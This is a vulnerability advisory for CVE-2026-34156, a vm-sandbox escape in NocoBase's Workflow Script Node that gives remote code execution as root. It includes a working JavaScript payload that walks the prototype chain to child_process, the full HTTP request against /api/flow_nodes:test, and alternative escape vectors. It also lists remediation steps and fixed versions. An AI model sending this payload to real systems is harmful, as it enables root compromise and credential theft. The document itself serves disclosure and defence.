CVE-2026-34156: NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node
## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
1. console.stdout.constructor.constructor → host-realm Function constructor 2. Function('return process')() → Node.js process object 3. process.mainModule.require('childprocess') → unrestricted module loading 4. childprocess.execSync('id') → RCE as root
This completely bypasses the customRequire allowlist.
Impact
- Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (DBPASSWORD, INITROOTPASSWORD from process.env) - Arbitrary file read/write via require('fs') - Reverse shell confirmed - Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flownodes:test Authorization: Bearer <JWTTOKEN> Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console.stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('childprocess');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image: nocobase/nocobase:latest - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />
Proof of concept the root privileges
<img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" />
os-release demonstration
<img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" />
<img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" />
App path
<img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" />
Exploit Usage:
Reverse Shell Mode
<img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" />
Dump system information & creds
<img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" />
Remote Command Execution Mode
<img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" />
Remediation
1. Replace Node.js vm module with isolated-vm for true V8 isolate separation 2. Do not pass the host console object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict /api/flownodes:test to admin-only roles
Alternative Escape Vectors
- console.stderr.constructor.constructor (identical chain via stderr) - Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
Other sources
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@nocobase/plugin-workflow-javascriptto a version that resolves this vulnerability.Fixed in 2.0.28 - Upgrade
Upgrade
NocoBase (NocoBase CLI)to a version that resolves this vulnerability.Fixed in 2.0.28 - Configuration
Run the NocoBase application as a non-root user inside Docker to reduce impact of sandbox escape leading to RCE as root.
NocoBase Workflow Script Node Run application as non-root user inside Docker = non-root - Configuration
Restrict the endpoint /api/flow_nodes:test to admin-only roles.
NocoBase Workflow Script Node API /api/flow_nodes:test authorization = admin-only - Compensating control
Replace Node.js vm module with isolated-vm for true V8 isolate separation to prevent prototype chain traversal/sandbox escape via console._stdout/_stderr.